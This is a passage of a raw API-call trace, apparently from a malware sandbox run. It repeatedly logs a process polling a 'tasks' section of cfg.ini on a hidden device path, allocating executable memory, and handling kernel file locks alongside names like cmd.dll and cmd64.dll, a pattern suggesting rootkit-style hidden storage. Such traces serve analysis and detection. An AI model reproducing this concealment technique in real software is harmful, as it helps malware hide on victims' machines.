(StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.815] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.815] IdePortDispatch () returned 0x103 [0121.815] KeWaitForMutexObject () returned 0x0 [0121.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.815] KeLeaveCriticalRegion () [0121.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.815] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.815] KeEnterCriticalRegion () [0121.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.816] KeLeaveCriticalRegion () [0121.816] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.816] KeEnterCriticalRegion () [0121.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.816] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.816] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.816] KeLeaveCriticalRegion () [0121.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.816] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.816] KeEnterCriticalRegion () [0121.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.816] ExFreePoolWithTag (P=0xfffffa8003be2fb0, Tag=0x0) [0121.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.816] KeLeaveCriticalRegion () [0121.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.816] ReleaseMutex (hMutex=0xf0) returned 1 [0121.816] Sleep (dwMilliseconds=0x927c0) [0121.830] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.830] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.830] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.830] KeEnterCriticalRegion () [0121.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.830] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.830] IdePortDispatch () returned 0x103 [0121.831] KeWaitForMutexObject () returned 0x0 [0121.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.832] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.832] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd6a0 [0121.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.832] KeLeaveCriticalRegion () [0121.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.832] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.832] KeEnterCriticalRegion () [0121.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.832] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.832] KeLeaveCriticalRegion () [0121.832] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.832] KeEnterCriticalRegion () [0121.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.832] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.832] IdePortDispatch () returned 0x103 [0121.832] KeWaitForMutexObject () returned 0x0 [0121.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.832] KeLeaveCriticalRegion () [0121.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.832] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.832] KeEnterCriticalRegion () [0121.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bde000 [0121.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.833] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.833] IdePortDispatch () returned 0x103 [0121.833] KeWaitForMutexObject () returned 0x0 [0121.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.833] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.833] IdePortDispatch () returned 0x103 [0121.833] KeWaitForMutexObject () returned 0x0 [0121.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.833] KeLeaveCriticalRegion () [0121.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.834] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.834] KeEnterCriticalRegion () [0121.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.834] KeLeaveCriticalRegion () [0121.834] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.834] KeEnterCriticalRegion () [0121.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.834] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.834] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.834] KeLeaveCriticalRegion () [0121.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.834] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.834] KeEnterCriticalRegion () [0121.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.834] ExFreePoolWithTag (P=0xfffffa8003bbd6a0, Tag=0x0) [0121.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.834] KeLeaveCriticalRegion () [0121.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.834] ReleaseMutex (hMutex=0xf0) returned 1 [0121.835] Sleep (dwMilliseconds=0x927c0) [0121.849] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.849] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.849] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.849] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.849] KeEnterCriticalRegion () [0121.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.849] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.849] IdePortDispatch () returned 0x103 [0121.849] KeWaitForMutexObject () returned 0x0 [0121.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.849] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.849] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.849] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.849] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.849] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2b60 [0121.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.849] KeLeaveCriticalRegion () [0121.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.849] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.850] KeEnterCriticalRegion () [0121.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.850] KeLeaveCriticalRegion () [0121.850] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.850] KeEnterCriticalRegion () [0121.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.850] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.850] IdePortDispatch () returned 0x103 [0121.850] KeWaitForMutexObject () returned 0x0 [0121.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.850] KeLeaveCriticalRegion () [0121.850] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.850] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.850] KeEnterCriticalRegion () [0121.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be3000 [0121.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.850] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.850] IdePortDispatch () returned 0x103 [0121.850] KeWaitForMutexObject () returned 0x0 [0121.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.851] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.851] IdePortDispatch () returned 0x103 [0121.851] KeWaitForMutexObject () returned 0x0 [0121.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.851] KeLeaveCriticalRegion () [0121.851] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.851] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.851] KeEnterCriticalRegion () [0121.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.851] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.851] KeLeaveCriticalRegion () [0121.852] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.852] KeEnterCriticalRegion () [0121.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.852] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.852] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.852] KeLeaveCriticalRegion () [0121.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.852] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.852] KeEnterCriticalRegion () [0121.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.852] ExFreePoolWithTag (P=0xfffffa8003be2b60, Tag=0x0) [0121.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.852] KeLeaveCriticalRegion () [0121.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.852] ReleaseMutex (hMutex=0xf0) returned 1 [0121.852] Sleep (dwMilliseconds=0x927c0) [0121.866] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.866] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.866] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.866] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.866] KeEnterCriticalRegion () [0121.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.867] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.867] IdePortDispatch () returned 0x103 [0121.867] KeWaitForMutexObject () returned 0x0 [0121.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.867] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.867] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.867] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.867] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.867] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc66b0 [0121.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.867] KeLeaveCriticalRegion () [0121.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.867] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.867] KeEnterCriticalRegion () [0121.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.867] KeLeaveCriticalRegion () [0121.867] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.867] KeEnterCriticalRegion () [0121.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.867] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.867] IdePortDispatch () returned 0x103 [0121.868] KeWaitForMutexObject () returned 0x0 [0121.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.868] KeLeaveCriticalRegion () [0121.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.868] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.868] KeEnterCriticalRegion () [0121.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be8000 [0121.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.868] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.868] IdePortDispatch () returned 0x103 [0121.868] KeWaitForMutexObject () returned 0x0 [0121.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.868] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.868] IdePortDispatch () returned 0x103 [0121.869] KeWaitForMutexObject () returned 0x0 [0121.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.869] KeLeaveCriticalRegion () [0121.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.869] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.869] KeEnterCriticalRegion () [0121.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.869] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.869] KeLeaveCriticalRegion () [0121.869] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.869] KeEnterCriticalRegion () [0121.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.869] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.869] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.870] KeLeaveCriticalRegion () [0121.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.870] _snprintf (in: _Dest=0xfffff880028cc770, 